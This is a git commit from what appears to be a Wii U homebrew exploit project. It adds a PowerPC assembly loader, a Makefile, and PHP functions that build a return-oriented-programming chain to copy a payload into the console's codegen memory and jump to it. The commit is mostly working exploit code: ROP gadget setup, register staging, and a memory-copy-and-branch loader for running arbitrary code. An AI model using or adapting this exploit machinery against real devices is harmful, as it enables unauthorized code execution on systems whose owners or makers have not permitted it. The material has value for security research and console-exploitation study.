Implemented a loader for loading a payload to fixed-addr codegen+0.

This commit is contained in:
yellows8 2015-12-04 19:03:57 -05:00
parent 77f8e10b00
commit 4a4c13af09
3 changed files with 65 additions and 3 deletions

10
Makefile Normal file
View File

@ -0,0 +1,10 @@
DEFINES :=
all:
powerpc-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_loader.elf wiiuhaxx_loader.s
powerpc-eabi-objcopy -O binary wiiuhaxx_loader.elf wiiuhaxx_loader.bin
cp wiiuhaxx_loader.bin $(OUTPATH)
clean:
rm -f wiiuhaxx_loader.elf wiiuhaxx_loader.bin

View File

@ -98,6 +98,22 @@ function generate_ropchain()
if($generatebinrop==0)$ROPCHAIN.= "\""; if($generatebinrop==0)$ROPCHAIN.= "\"";
} }
function wiiuhaxx_generatepayload()
{
$actual_payload = file_get_contents("wiiuhaxx_payload.bin");
if($actual_payload === FALSE || strlen($actual_payload) < 4)return FALSE;
$loader = file_get_contents("wiiuhaxx_loader.bin");
if($loader === FALSE || strlen($loader) < 4)return FALSE;
$len = strlen($actual_payload);
if($len & 0x3)return FALSE;//The actual payload size must be 4-byte aligned.
$loader .= pack("N*", $len);
return $loader . $actual_payload;
}
function ropgen_pop_r24_to_r31($inputregs) function ropgen_pop_r24_to_r31($inputregs)
{ {
global $ROP_POP_R24_TO_R31; global $ROP_POP_R24_TO_R31;
@ -364,7 +380,7 @@ function ropgen_switchto_core1()
function generateropchain_type1() function generateropchain_type1()
{ {
global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP; global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN;
$payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not.
$codegen_addr = 0x01800000; $codegen_addr = 0x01800000;
@ -388,13 +404,19 @@ function generateropchain_type1()
$regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26
$regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27
$regs[28 - 24] = $ROP_os_snprintf;//r28 $regs[28 - 24] = $ROP_os_snprintf;//r28
$regs[29 - 24] = 0x0;//r29 $regs[29 - 24] = $payload_srcaddr;//r29
$regs[30 - 24] = 0x0;//r30 $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading.
$regs[31 - 24] = $ROPHEAP;//r31 $regs[31 - 24] = $ROPHEAP;//r31
ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.
ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written.
//Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted.
ropchain_appendu32(0x0);
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);
ropgen_pop_r24_to_r31($regs);
ropchain_appendu32($codegen_addr);
} }
?> ?>

30
wiiuhaxx_loader.s Normal file
View File

@ -0,0 +1,30 @@
# The actual start address of the code-binary loaded by the initial ROP isn't always at a fixed address / codegen+0. Load the binary from the end of this loader to codegen+0.
bl l0
l0:
mflr 3
li 4, (_end - l0)
add 4, 4, 3 # r4 = addr of _end.
lwz 5, 0(4)
addi 4,4,4 # r5 = u32 value at _end, then increase r4 by 0x4.
mr 3, 29
li 6, 2
srw 5, 5, 6
mtctr 5 # ctr reg = above u32 value >> 2.
copylp: # Copy the data from _end+4 with size *_end, to the address from r29.
lwz 5, 0(4)
stw 5, 0(3)
addi 4,4,4
addi 3,3,4
bdnz copylp
add 1, 1, 30 # Jump to the code-loading ROP to load the codebin which was copied above.
lwz 3, 4(1)
mtctr 3
bctr
_end: